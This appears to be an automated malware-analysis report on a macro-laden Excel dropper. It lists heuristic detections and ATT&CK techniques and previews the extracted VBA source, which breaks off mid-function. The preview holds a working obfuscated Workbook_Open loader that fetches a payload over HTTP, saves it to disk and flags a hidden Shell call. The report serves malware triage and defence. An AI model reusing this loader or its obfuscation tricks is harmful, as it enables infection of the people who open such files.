MALICIOUS
378
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1071.001 Web Protocols
T1105 Ingress Tool Transfer
The file contains a Workbook_Open VBA macro that is obfuscated and designed to execute. Heuristics indicate it downloads and writes a file to disk using HTTP, likely to execute a second-stage payload. The document body prompts the user to enable macros, a common lure for malicious documents.
Heuristics 11
-
ClamAV: Xls.Malware.Emodldr-10058834-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Malware.Emodldr-10058834-0
-
VBA macros detected medium 7 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell (CkUZrW), vbHide -
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
VYVHERI = DgmhXf.responseBody -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Set GpRiEfn = CreateObject(KdVfZ("AW_ SDMz(%OjSdiD d WB!SxJ.&% tS qtxI@erC?UcebX [aNZ_EmI.uE")) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set GpRiEfn = CreateObject(KdVfZ("AW_ SDMz(%OjSdiD d WB!SxJ.&% tS qtxI@erC?UcebX [aNZ_EmI.uE")) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Public Sub Workbook_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
Call GpRiEfn.SaveToFile(Environ(KdVfZ("T w&OeZZh m_ s paX@ ")) & KdVfZ("\y L@\kxs.f [vSrliEeBF vdpd bmVdBhNC akzX@r?J.$wy edRNOxVWRQe%xvx"), 67 - 65) -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 81253 bytes |
SHA-256: f2ab62e1083fffef16f5a0704c975a85378a452d86335d54ebbadca389c332c0 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
536 of 841 identifiers look randomly generated (e.g. 'HAjUuCwFgSYoUse') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
jJLUKGHE = 874 + 384 + 321
For mkIZts = 0 To 4
For fCsYTR = 0 To 7
Dim XGKyRte, duAeKnI, UtFouU As String
dCXawSdw = StrReverse(" Zz VV@J$-FZffIQfDA&")
QYHHdRUO = Right("O-X z% ) &fd %", 5)
hIPzDPwPEY = 1198 + 267 + 1832
MjENfIVjX = Right("NVa fQ b yTtc ]ei", 4)
oqrURcfHkS = 174 - 390 - 179
Next fCsYTR
bGzkt = 272 - 163 - 309
KkGuPouyn = RTrim("Gfdv Pt&MfKyF R")
Dim anIZT, tjhYB, YPuHIBQ, vkLZH As String
QYHHdRUO = UCase("Ybx?clx v] C_V")
LeMMqZV = RTrim("%r$ (orq k_Fot@Wv ")
ybPlWQ = Left("Ob fZxq nNMO l ", 4)
Dim FhkJeO As Boolean
Next mkIZts
dCXawSdw = Right("$hc uK& R hD r", 4)
Dim ZqBNmNN As Boolean
Dim wJWDn, fehRK As Byte
For bHCrVE = 0 To 10
KkGuPouyn = StrReverse("ad .K# %Z[i Mv [ aZ")
Dim EDeCOJbO, RlHafJ, jRPtT As Single
PGoIWpOFWDE = LTrim("!$yi# x W#xa wE%G ")
jJLUKGHE = 395 - 396 - 487
jJLUKGHE = 354 + 804 + 993
Next bHCrVE
zpAanRs = Space(3)
Call MaGBMunhoW
gUVWfiWEJgR = LTrim("LwN%f ? RxlWtbT")
hYqMfUpSqEsy = RTrim("N C _ZhP N")
Dim CdqQWGY, VyfKHZpV, moHYy, FqLDGcz As Boolean
ckCczbN = Right(" t )e Rf LJ", 2)
SYqXpuFZ = RTrim("rh^KDeTk@q?J c")
siqcDODMcxtO = RTrim(" yuit M!pAvyQF? aTA")
While PrgQCa < 3
siqcDODMcxtO = Right("g?Z l VCb ", 2)
YBXyjyws = 672 + 829 + 1633
AMGAdHOkItP = 134 + 1840 + 1619
ckCczbN = 364 - 254 - 178
ybPlWQ = LTrim("N.z$Y. mRr[)o)G HWA(")
jJLUKGHE = RTrim(" V ) Vv^%")
hIPzDPwPEY = Space(2)
LNrAYaRjolb = 1088 + 471 + 1477
PrgQCa = PrgQCa + 3
Wend
SYqXpuFZ = Right("$ lI x#MsMo ?[DCQ", 3)
ZDitPzS = StrReverse("DG ^cPan H")
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Function PAUZVf(yqCKgIe As String, zoHUda As Boolean, lIeboZD As Integer, nWabvE As Boolean) As String
ApsTYeXf = RTrim("jyC K) Z F")
hYqMfUpSqEsy = StrReverse("S p!G( e %?-!uo R]")
LeMMqZV = RTrim("c - P]S[N tu K")
Dim WWTOk, mROPWYJi, zculJys As Single
SYqXpuFZ = StrReverse(" M ENTu EH")
oqrURcfHkS = UCase(" )lVaiTQJD")
Dim ZalFA, DyOZOWB As Byte
MjENfIVjX = 404 - 194 - 343
pEajOQSQoIG = Space(14)
PAUZVf = "AvviIDXyw"
End Function
Function JOUIYA(MhBZFj As Integer, iEAwfR As String, cmlMuh As String, noJIkg As Boolean) As String
ZDitPzS = Right("&o_Lk&O T r ", 2)
hIPzDPwPEY = LTrim("(A C KNErThc M^m")
jJLUKGHE = Space(10)
PGoIWpOFWDE = Left("(aece N IA[p?!l ", 4)
ApsTYeXf = Right(" . f fkC FOx(n$ Q", 4)
MjENfIVjX = RTrim(" ixBD Gg! w a lM ")
ApsTYeXf = Right("dE fYh Iw C", 2)
ybPlWQ = 231 - 308 - 262
hdnUqs = 207 - 161 - 257
JOUIYA = "GBiOKuGgS"
End Function
Attribute VB_Name = "Module2"
Function YqmTJc(zXxHSdG As Double, hpKENc As Integer) As String
ybPlWQ = RTrim("?! qqgO hwfK")
YBXyjyws = Right("kU& #LZxh", 4)
Dim bCrSqB, hADhiPnr, xXVVOYH As Byte
bGzkt = UCase("OE m r!OcEZm w R$")
While QQFnFd < 1
While yCQlkP < 2
jJLUKGHE = 150 - 435 - 473
hdnUqs = Space(16)
pEajOQSQoIG = Right("wb GLV lb?G &w&)ZQg", 4)
lxMXRJjMJc = UCase(" yyx dm@We")
eRUrbVfNZc = StrReverse("XN^y jQYc s")
yCQlkP = yCQlkP + 3
Wend
oqrURcfHkS = Right(" Bm V(m la GZ", 2)
ybPlWQ = RTrim("[^_ I F ut ko")
lxMXRJjMJc = Right("KP N Bj I pJ_ ", 3)
ApsTYeXf = 1838 + 1142 + 1658
ybPlWQ = Right(" _ZbFD&fx wskJgQy", 3)
Dim QaPOP, aXTKsU, aiwFZW As String
Dim XUTiKroq, dCRrOGi As Integer
QQFnFd = QQFnFd + 1
Wend
YqmTJc = "skiNE"
End Function
Attribute VB_Name = "Module3"
Function AZXhQd(OrVcOu As Integer) As String
GijqpjTU = UCase("cvvd!qkzK) eh")
For cipZug = 0 To 9
oqrURcfHkS = UCase("Vh lTII)%Y&Re$Z p")
QYHHdRUO = RTrim("_))& ]UvYGlB eL -")
Dim qdcvkVgt, fbPdUE, skgqW As Boolean
LeMMqZV = 1566 + 936 + 829
zpAanRs = StrReverse("a & #VT i]c _ ")
Next cipZug
ZDitPzS = RTrim("dtCK_BECzg")
hIPzDPwPEY = 945 + 1424 + 659
lxMXRJjMJc = StrReverse("O e L f]H&m.pBz )MO")
jJLUKGHE = StrReverse("H&-L &wy XyG[% @")
hdnUqs = 215 - 386 - 201
AZXhQd = "TaZFEssY"
End Function
Public Sub FZaWXd(iSAae As String, GiRHhK As String, IsjFdjA As String, CAaMQE As String)
While wBHeMK < 3
While mPBozw < 3
Dim hixZsLTp, iMOCH, FGuIkwAz As Date
ckCczbN = Left(" pd fGf.u I zS)(%l", 3)
jJLUKGHE = RTrim("_klssFiI@ r aX. ")
LeMMqZV = Right("mZy?n xVa?FFe Lyx", 2)
zpAanRs = 1722 + 1332 + 1926
ZDitPzS = UCase("#WPfns&Stb RQUA ")
Dim muipUreZ As Byte
QYHHdRUO = Space(1)
GijqpjTU = Right("t i D #t (I -R ", 2)
LeMMqZV = StrReverse("W!gkI-gj(cM Vh@xe W ")
mPBozw = mPBozw + 3
Wend
HCSqP = LTrim("DmqTC LAPrTt")
ybPlWQ = 466 - 194 - 224
KkGuPouyn = 1319 + 1640 + 1184
LeMMqZV = Left("QSiu Icl rmxqdA", 2)
QYHHdRUO = Right("C h^ WW R^ VtZ", 5)
oqrURcfHkS = 265 - 386 - 428
wBHeMK = wBHeMK + 3
Wend
Dim uUdOmNN, YsqfnIN, enVxjoXN, ApCnyi As Integer
Dim ujdWhWH As String
jJLUKGHE = StrReverse("PcEYnk)%? zZUMs.")
While GdzGuN < 2
GijqpjTU = 118 - 123 - 463
jJLUKGHE = StrReverse("Kb^t yLVH k")
hdnUqs = LTrim("&&A B.cED# i ")
KkGuPouyn = UCase("KO Px i k&U [ ")
siqcDODMcxtO = LTrim("hJn $- Z S%Hil ")
hdnUqs = RTrim(" HPfV C ^ ")
gUVWfiWEJgR = LTrim("Sjw piGc @ ")
GdzGuN = GdzGuN + 3
Wend
KkGuPouyn = UCase(" MxB @ RKjt")
While iFfpne < 1
LNrAYaRjolb = Left("Iy ^Wa!UWm", 3)
ZDitPzS = 1287 + 1796 + 675
MjENfIVjX = Right(" O INj. .kL", 3)
bGzkt = Space(8)
KkGuPouyn = RTrim("] w?Oe @P&F ")
ApsTYeXf = Right("XVhFY dt_)nkx", 2)
AMGAdHOkItP = 193 - 405 - 208
SYqXpuFZ = Right(" ][P J$ _sjWnx@ i", 3)
oqrURcfHkS = 403 - 293 - 249
iFfpne = iFfpne + 1
Wend
bGzkt = 200 - 406 - 168
HCSqP = Left("$LD eVUq fktK C)TyiG", 5)
Set GpRiEfn = CreateObject(KdVfZ("AW_ SDMz(%OjSdiD d WB!SxJ.&% tS qtxI@erC?UcebX [aNZ_EmI.uE"))
gUVWfiWEJgR = Space(14)
ApsTYeXf = Space(5)
AMGAdHOkItP = StrReverse(" l @Hh( J")
Dim DgmhXf As Object
For GSEOAd = 0 To 4
While jBHRqc < 2
ApsTYeXf = Space(7)
Dim xjzMpd, JEMCDwLU, LcrpSXV As Integer
LNrAYaRjolb = 154 - 423 - 210
gUVWfiWEJgR = LTrim("g[$YP x ]-I-T%OM")
jJLUKGHE = 253 - 304 - 487
jBHRqc = jBHRqc + 3
Wend
YBXyjyws = 914 + 1931 + 1636
LeMMqZV = StrReverse("B h !z ?Qym)e")
ApsTYeXf = LTrim(" n^^IQ xS QDeC#Wej")
MjENfIVjX = StrReverse("?) $ w$F^xGI?)(")
zpAanRs = Right("^ V@_T axmOp_N ", 2)
jJLUKGHE = Right("Gk ix NPX#vH", 2)
PGoIWpOFWDE = UCase("$zR ?avJ U GUW")
ZDitPzS = Right("FWq^ $V SvZ", 5)
Next GSEOAd
While vzuzdL < 4
While ZFRkLI < 4
Dim LdwiGjv, KkAqk, GfHOjA As Integer
lxMXRJjMJc = StrReverse("wq v N?n&@?S (x")
siqcDODMcxtO = 1214 + 1651 + 575
KkGuPouyn = Right("i^ om Bz P", 4)
ApsTYeXf = 837 + 698 + 1609
oqrURcfHkS = StrReverse("(Q (!@ NdV#ZC aUMm")
ZFRkLI = ZFRkLI + 2
Wend
ApsTYeXf = 1974 + 526 + 1813
MjENfIVjX = Space(4)
oqrURcfHkS = Space(14)
LNrAYaRjolb = StrReverse(" ujBG @EcH$")
MjENfIVjX = UCase("c-kE-Tg([tsfr")
eRUrbVfNZc = LTrim("N[tItPm&Ix #")
gUVWfiWEJgR = StrReverse("Az PrSAkeRRt .C")
hYqMfUpSqEsy = StrReverse("mle M %jo ")
ApsTYeXf = 206 + 1781 + 413
vzuzdL = vzuzdL + 3
Wend
LNrAYaRjolb = Right("eXv.uw% L n BQ", 4)
ZDitPzS = 724 + 1917 + 102
GpRiEfn.Open
siqcDODMcxtO = Right("c yxI m", 2)
hdnUqs = UCase("o pN#yReWi? Wq")
gUVWfiWEJgR = Space(11)
For qwwNWW = 0 To 4
While pGicgt < 5
bGzkt = 111 - 318 - 385
siqcDODMcxtO = StrReverse("?k( OvFr%oFR$Y.K&bSA")
AMGAdHOkItP = RTrim(" c TMxk(-Jk N(")
zpAanRs = Space(10)
pEajOQSQoIG = LTrim("sW^PQdF@ dWP ")
AMGAdHOkItP = RTrim("I_)h))sqFyoFhLO!Q")
pGicgt = pGicgt + 1
Wend
SYqXpuFZ = 470 - 141 - 189
zpAanRs = 1523 + 1026 + 1672
ZDitPzS = 118 - 143 - 164
YBXyjyws = 1567 + 188 + 496
eRUrbVfNZc = UCase(" ^dUQz.cYYHW?")
YBXyjyws = Left("Omt@#w aP) NU[o ]T", 5)
lxMXRJjMJc = 1266 + 1503 + 668
Next qwwNWW
ybPlWQ = 1533 + 1360 + 273
GpRiEfn.Type = 9 - 10 + 2
lxMXRJjMJc = UCase("CTey lUy@lZK ")
Dim VbnxT, FGVgo As Boolean
ApsTYeXf = StrReverse("l@TK [VHCM%baP& ")
Dim LaHGHHsQ, JkZqJGuP, nEpYTcjR As Byte
zpAanRs = 109 - 337 - 359
ybPlWQ = Right(" o Mh qi $bA iU la", 2)
Set DgmhXf = CreateObject(KdVfZ("MaFGHilWV ci SDrM.owo __ sT^(ao#sX f$GSetA?M#. owAXkgvLMjWmWL?%U HStF Tf&@OTdRK.PD.?X"))
For ePRKKv = 0 To 2
While ZsYNIw < 4
ybPlWQ = RTrim("nC aDB$Rpgu")
ApsTYeXf = Right(" R . qV YcO jmjH ", 4)
Dim tcVUzePN, uDCswaIi, CxuTwb, llFoaOV As Single
eRUrbVfNZc = LTrim("Z i @R& _m")
hIPzDPwPEY = StrReverse(" VVj f X H")
AMGAdHOkItP = 257 - 333 - 198
Dim caGutxx, pJSKTKQ, atKFBwD As Date
KkGuPouyn = Space(13)
ZsYNIw = ZsYNIw + 3
Wend
zpAanRs = 475 - 304 - 296
YBXyjyws = LTrim("$gnSM j@@V ")
lxMXRJjMJc = LTrim(" knuj c$NXNT")
hIPzDPwPEY = 515 + 1104 + 953
pEajOQSQoIG = Space(15)
QYHHdRUO = StrReverse("XR MpD)?ic")
hIPzDPwPEY = Left("(Au.i @ aI tbOAJ]", 3)
ZDitPzS = 731 + 1759 + 1591
Next ePRKKv
For jOYTsB = 0 To 8
QYHHdRUO = LTrim("jWJS Jn gJ xDj")
ZDitPzS = Space(13)
Dim EMsCDXEm, zCmTMLt, prCyLKE As Date
hYqMfUpSqEsy = RTrim(" ]YWaf %_ vA(l s")
Dim LJJPHGS As Byte
YBXyjyws = Space(20)
MjENfIVjX = StrReverse("QMM^q)Nq YR")
hIPzDPwPEY = UCase(" u(K Qm] Up?J!L u")
pEajOQSQoIG = Right(" F cm Q Pia ", 2)
Next jOYTsB
hYqMfUpSqEsy = RTrim("HAi oGypi AW ")
QYHHdRUO = RTrim(" Sxvd Y %")
MjENfIVjX = LTrim("rFaw&s ucfjx#m]i")
jJLUKGHE = 1975 + 1619 + 903
DgmhXf.Open KdVfZ("GW[(JE !- Tscol"), KdVfZ("hR rtUpxDtC zopV$@ : _ /Ep /A jxHAu#nrL k- Itv-& @L- v @- h cd(LpXt^( bup chjbwvbPNr^q%yi&hqc T9j] ma? PojW_(ScUlX e .KYeSBy$eqCQyginE 2MoG#mJak .[nTQomx lr[Q% gbmg-/]kfgmozIaePObRd%d(lize$OaJ!r@/K v cnYimosCUJmrj!#_M Hsf^Pk i Jzpns_Tkdnvq eWrccrxxEh/) mzfFZj r& SpaFqvLn lpykdT um !tSoCzS(ryJK rygbkiwDD sbwa-/p .tx fUo PcKbx@@Ha% [S.@J &eeH zxxc@pezG J"), False
For gaikSx = 0 To 6
dCXawSdw = Left("UfAJ yL #BB I ", 5)
jJLUKGHE = StrReverse("!v ) jDhR ROx")
LeMMqZV = Space(20)
LeMMqZV = Left("Wwc&^cQ.oi", 3)
PGoIWpOFWDE = Space(14)
hdnUqs = Left("jJI k ]$jTSmhI ", 4)
QYHHdRUO = RTrim(" HNhukV Nbs c")
Next gaikSx
While nBwpwM < 1
While KSpKpR < 3
jJLUKGHE = Right(" i.Xj_ Z X!uj^", 3)
MjENfIVjX = Space(5)
ybPlWQ = StrReverse("xQ$ @XK-FZ?#Jc] _QM")
PGoIWpOFWDE = StrReverse(" Q k ]VTb ^ K v ")
LNrAYaRjolb = Right("sH_! $qg q", 5)
lxMXRJjMJc = LTrim("(esuuCp f-A%[ O C")
jJLUKGHE = Left("PWWXG $Y ajVXCJ k m", 4)
hdnUqs = Right("QXTTWh-R LP wf", 3)
lxMXRJjMJc = Left("fvS OJ(T Qk$zR_ ", 3)
eRUrbVfNZc = 336 + 818 + 722
KSpKpR = KSpKpR + 2
Wend
zpAanRs = UCase("Sr.L & ]dpN r$np")
oqrURcfHkS = UCase("% F htx[#b!@ L")
SYqXpuFZ = 447 - 333 - 439
siqcDODMcxtO = Left(" vt )Cjcc ", 4)
ZDitPzS = 1432 + 1074 + 177
LeMMqZV = RTrim(" Goln_UXj Jag")
nBwpwM = nBwpwM + 3
Wend
Dim HtkFHMI, eFkwdaEd As Date
SYqXpuFZ = Right(" [kP aE! v ", 3)
LNrAYaRjolb = 889 + 355 + 1495
DgmhXf.send
For HLMGBq = 0 To 4
While HEiHsG < 1
dCXawSdw = RTrim("tBF sWDpXe(tWdd@ZXY")
gUVWfiWEJgR = Left(" K-(A TyM #]", 2)
Dim IVlFV, iGnEGV, nmdUcBui As Byte
YBXyjyws = 505 + 1532 + 536
QYHHdRUO = 346 - 333 - 201
ckCczbN = 219 - 388 - 277
KkGuPouyn = 298 - 178 - 324
Dim FJYwG As Boolean
HEiHsG = HEiHsG + 3
Wend
KkGuPouyn = Right("w _ Hb l H fn ", 5)
gUVWfiWEJgR = LTrim(" BO [aj$lW O(GKvo(kH")
Dim YtdIm, RZiazg, kvUaWv As String
LNrAYaRjolb = Space(6)
siqcDODMcxtO = LTrim("RRlZc CC?Q")
siqcDODMcxtO = StrReverse("^sX UM bQ!eSK ")
dCXawSdw = UCase(" TJju @N ?")
Next HLMGBq
lxMXRJjMJc = 551 + 1624 + 1705
For PEIYyS = 0 To 8
Dim QbhPIJO, GawXaa, KRrkCS As Date
LNrAYaRjolb = Right("go !R Sy)Zq", 5)
bGzkt = 894 + 1998 + 480
siqcDODMcxtO = Right("G ]smznrE&", 2)
bGzkt = Space(8)
Dim kxmHwi As Boolean
ckCczbN = Space(17)
eRUrbVfNZc = UCase("ifUQBdysHMCVJr")
ZDitPzS = LTrim("WVYm]SmBG_?")
Next PEIYyS
For MlWRUh = 0 To 2
For HLdyyt = 0 To 9
YBXyjyws = Space(17)
gUVWfiWEJgR = UCase("qx ss ]O[Y$Bi^w ")
pEajOQSQoIG = UCase("Ea kZ(v# )ElW ")
AMGAdHOkItP = Left(" yiL.RE& ^ G", 2)
hdnUqs = 122 - 293 - 464
MjENfIVjX = Space(1)
hIPzDPwPEY = LTrim("gp^#H$y-e#@P za")
Next HLdyyt
Dim qeeMl, Vuuytmp As Boolean
hYqMfUpSqEsy = Right(" R? Fd J#zZs ?pQ O", 4)
siqcDODMcxtO = 126 - 402 - 293
MjENfIVjX = StrReverse("rI N DcFQ O^Lb")
KkGuPouyn = StrReverse("vc_As $#Ydh")
Next MlWRUh
siqcDODMcxtO = UCase("lWfqglEa T")
KkGuPouyn = Left("k Wirl .", 4)
VYVHERI = DgmhXf.responseBody
dCXawSdw = LTrim(" d brK YX RjooL ) eV")
siqcDODMcxtO = Space(11)
KkGuPouyn = Space(20)
oqrURcfHkS = Left(" Jx N OuHVT[t$ g", 5)
SYqXpuFZ = Left("%_ Aj?X l @svD mA", 4)
siqcDODMcxtO = Space(10)
siqcDODMcxtO = Right("f mU V Y)F_fP", 4)
While CFdYcm < 3
SYqXpuFZ = LTrim("P a A@ WMthD ^")
ZDitPzS = LTrim("WiVXs WQHjSSj-s")
hYqMfUpSqEsy = Right("YwoIWXlwgmF@", 4)
LNrAYaRjolb = Right("jPvxgOrATK). M@D ", 3)
ZDitPzS = StrReverse("gOL.OV^)% N-@ ")
ckCczbN = UCase("^ jwQkqXr N)Eh")
ApsTYeXf = 1693 + 1985 + 923
CFdYcm = CFdYcm + 3
Wend
siqcDODMcxtO = Space(15)
jJLUKGHE = LTrim(".lp ksp$O p @")
GpRiEfn.Write VYVHERI
For pVlFcv = 0 To 2
While AnZGxH < 5
ZDitPzS = RTrim("R@wb nWtL! ")
oqrURcfHkS = Right(" v n! el xAwY y", 4)
PGoIWpOFWDE = LTrim("yBhAqY F [u")
AMGAdHOkItP = Left("@ )jVw fHR", 4)
eRUrbVfNZc = Left("$m # T zmaU", 5)
dCXawSdw = 430 + 593 + 1602
LNrAYaRjolb = StrReverse("Ku $p &EkudGtk")
AMGAdHOkItP = StrReverse("S esC)eZW n")
GijqpjTU = 1618 + 1375 + 290
MjENfIVjX = StrReverse("Qzg(j [KzG W ")
AnZGxH = AnZGxH + 1
Wend
jJLUKGHE = Space(12)
pEajOQSQoIG = LTrim("TE Rk)criUb-")
oqrURcfHkS = Left("g) z#. &vLU", 2)
jJLUKGHE = Left("Ru M XC]KoH c-n^ ", 5)
ckCczbN = UCase("YAxwI]lM Ny? % ")
MjENfIVjX = StrReverse("MjD l QamGhI aLz ")
Next pVlFcv
For KgEHbY = 0 To 6
HCSqP = RTrim("&QjZTZC Qx-!st_]")
eRUrbVfNZc = 1792 + 1236 + 324
Dim lnAwZLHk, sHfvDA, cepIxMP, mXsWQD As Date
ckCczbN = 110 - 361 - 448
SYqXpuFZ = Left(" cs#laz $ok#QujAPu", 2)
QYHHdRUO = Right("yD xRdJ(", 5)
LeMMqZV = Right(" gS Y& V $h", 4)
lxMXRJjMJc = 435 - 356 - 276
Dim iRvfRV, xDEIkf, WPheg As Integer
Next KgEHbY
While yuxWKu < 3
ApsTYeXf = Space(6)
eRUrbVfNZc = 384 - 303 - 397
HCSqP = 106 - 117 - 229
LNrAYaRjolb = UCase("EZ afvXgFSNJNI")
eRUrbVfNZc = Space(7)
ZDitPzS = 293 - 127 - 218
GijqpjTU = Left("V$V #E[Z AfUa", 3)
Dim gWFCw, vrNAiv, sRzWhBn, COsJHrs As Byte
yuxWKu = yuxWKu + 3
Wend
QYHHdRUO = UCase(" _@TR P- #m JA")
zpAanRs = Left("Dj) %Uy VSx", 4)
zpAanRs = UCase("I QeVDhD ")
bGzkt = UCase(" ?I(esIX iip]ciS")
QYHHdRUO = LTrim("SEAX Z XZo n%I ")
ybPlWQ = Space(15)
Call GpRiEfn.SaveToFile(Environ(KdVfZ("T w&OeZZh m_ s paX@ ")) & KdVfZ("\y L@\kxs.f [vSrliEeBF vdpd bmVdBhNC akzX@r?J.$wy edRNOxVWRQe%xvx"), 67 - 65)
Dim qvEdeJ, hjXnVQqK, Kxmcf, jOwfSo As Single
dCXawSdw = Right("VY ).r&-$_[", 3)
Dim lcIcUlz, iebXq, ootaJ, meGIw As Integer
ckCczbN = LTrim("bRflwB]kWk")
For qrwVsg = 0 To 3
For glbfjo = 0 To 5
ckCczbN = 300 + 1632 + 1537
eRUrbVfNZc = RTrim(" G Kmg-V-bERfp(")
Dim eqQRViz, MvzyOA, rwmkmssK As Integer
Dim psVFqw As Date
oqrURcfHkS = 381 - 300 - 176
LeMMqZV = Right(" IEMB oiR Qs$n", 5)
siqcDODMcxtO = 1121 + 1896 + 1660
Dim cUaqLBv As Date
gUVWfiWEJgR = LTrim(" $J vR vN r ( bC ")
KkGuPouyn = LTrim(" .ZS% iNgW MM")
Next glbfjo
ckCczbN = 167 - 405 - 342
siqcDODMcxtO = Left("-bnLuDWSZt", 5)
jJLUKGHE = UCase(" %kko$ K^z @ @Q")
AMGAdHOkItP = 1266 + 1078 + 1180
Next qrwVsg
While QmPWKV < 3
oqrURcfHkS = LTrim("v )U c t$!u wKaJOjGx")
Dim DmznV, lPYlTff, hMphL, fgvKsR As Date
QYHHdRUO = LTrim("hPMeN(M @ow nid")
YBXyjyws = Left("Z Z)ipTzKLxyP-", 4)
dCXawSdw = UCase("[N ! G$P D ?#fjt ")
QmPWKV = QmPWKV + 1
Wend
hYqMfUpSqEsy = RTrim("fEL E?b? gXStm B^( ")
GpRiEfn.Close
hYqMfUpSqEsy = Space(9)
LeMMqZV = RTrim("- zd Yf y @!_ ")
ckCczbN = RTrim("kc!U R X ?#PBt(D")
While xJpWeg < 3
Dim CdKov As Byte
LNrAYaRjolb = Right("rH QPQVq ", 5)
gUVWfiWEJgR = 331 - 383 - 221
oqrURcfHkS = LTrim("RW cp z #lF d#LVi")
ybPlWQ = Space(8)
pEajOQSQoIG = StrReverse("_A V Him q^Aka&O -c")
PGoIWpOFWDE = RTrim("h) # q q[NUZ ")
xJpWeg = xJpWeg + 2
Wend
SYqXpuFZ = 1431 + 447 + 367
HCSqP = LTrim("xP PnI p$%[!Wy o")
siqcDODMcxtO = StrReverse(" W-y]d])wj P h uA")
Dim bYMaQNPv, NZhaxqGm, Lxoqrevt, lKQaqzs As Boolean
ckCczbN = UCase(" RAV$(rkwo oK ^A")
For RScTMC = 0 To 6
ckCczbN = LTrim(" .N?O?(c vFC PBu")
GijqpjTU = Space(18)
Dim bxucSpeP, aTYEjGeS, GURZa, NGkFlMr As String
ZDitPzS = RTrim(" s oaVq-T WH&")
LeMMqZV = StrReverse("zA KmTW UxbsR_ NlX")
Next RScTMC
hIPzDPwPEY = Right("!S [ ! UfGfJaAPE", 3)
ybPlWQ = LTrim("V(GRF ^V&h")
hIPzDPwPEY = LTrim("# I#u ^D .^&.! ")
End Sub
Public Sub MaGBMunhoW()
bGzkt = UCase("nh !GZPn gwx p")
For aAAMtq = 0 To 6
ApsTYeXf = LTrim(" wp W_ Se@SXR")
QYHHdRUO = Left(" _fB .!! jSHZNX", 2)
Dim MTsKKIFO As Byte
PGoIWpOFWDE = UCase(" T%FPnytF gX $&")
LNrAYaRjolb = Left(" B$ f .O#gQ gGF#N [", 5)
Next aAAMtq
ybPlWQ = Right(" rQrEQf j ", 4)
LNrAYaRjolb = RTrim(" kW)a n! n$ dB ")
For YLyJIe = 0 To 1
While QEqKKP < 4
dCXawSdw = RTrim("_dksC@vk r&yL&PteH")
pEajOQSQoIG = LTrim("@cB b# DH Or(")
gUVWfiWEJgR = Space(14)
LNrAYaRjolb = RTrim(" DoidjU ^US")
KkGuPouyn = 766 + 1105 + 634
QEqKKP = QEqKKP + 1
Wend
hIPzDPwPEY = StrReverse("-k C_eMtP! Guqc? #")
pEajOQSQoIG = LTrim(" VMuR UAq %Y")
KkGuPouyn = Left(" n[CuWXgZibL ", 3)
bGzkt = Right("buI.U n kS_d", 4)
MjENfIVjX = Space(9)
SYqXpuFZ = 363 - 428 - 206
ApsTYeXf = 421 - 254 - 156
zpAanRs = 1494 + 284 + 406
Next YLyJIe
ZDitPzS = RTrim("hcx lnbefL")
hIPzDPwPEY = 444 - 476 - 364
While ZgnSUQ < 1
KkGuPouyn = 421 - 453 - 323
ckCczbN = UCase("I% &d[kC? T")
hdnUqs = Right("z xsHsW h BJS s I ", 3)
hdnUqs = 1578 + 1518 + 1971
lxMXRJjMJc = 325 - 420 - 272
ZgnSUQ = ZgnSUQ + 2
Wend
While QgupBB < 3
For jWQZeO = 0 To 10
AMGAdHOkItP = UCase("]A(LA a i[H%Wg")
eRUrbVfNZc = 1881 + 575 + 813
ApsTYeXf = 180 - 415 - 135
ApsTYeXf = Right("B uSiV@Lq^gWJEmG A& ", 2)
KkGuPouyn = Right("Oo U#xzP S", 4)
PGoIWpOFWDE = RTrim("pSh yH I j mk j.X k")
Next jWQZeO
LNrAYaRjolb = RTrim("tn rxCiZSh )&_")
Dim OiBZc, uxlltCLa, PlnnLSk As Date
HCSqP = Space(15)
LeMMqZV = LTrim(" ^ D&#Vy K pB")
hdnUqs = Right("Gr#D$G& -", 5)
hIPzDPwPEY = UCase("&& g$W iULR jl")
Dim FrgaEI, BIzhOmI As Date
Dim tSdGkn, gvqIfv, sNaVPHs As Byte
QgupBB = QgupBB + 1
Wend
For DxahpN = 0 To 10
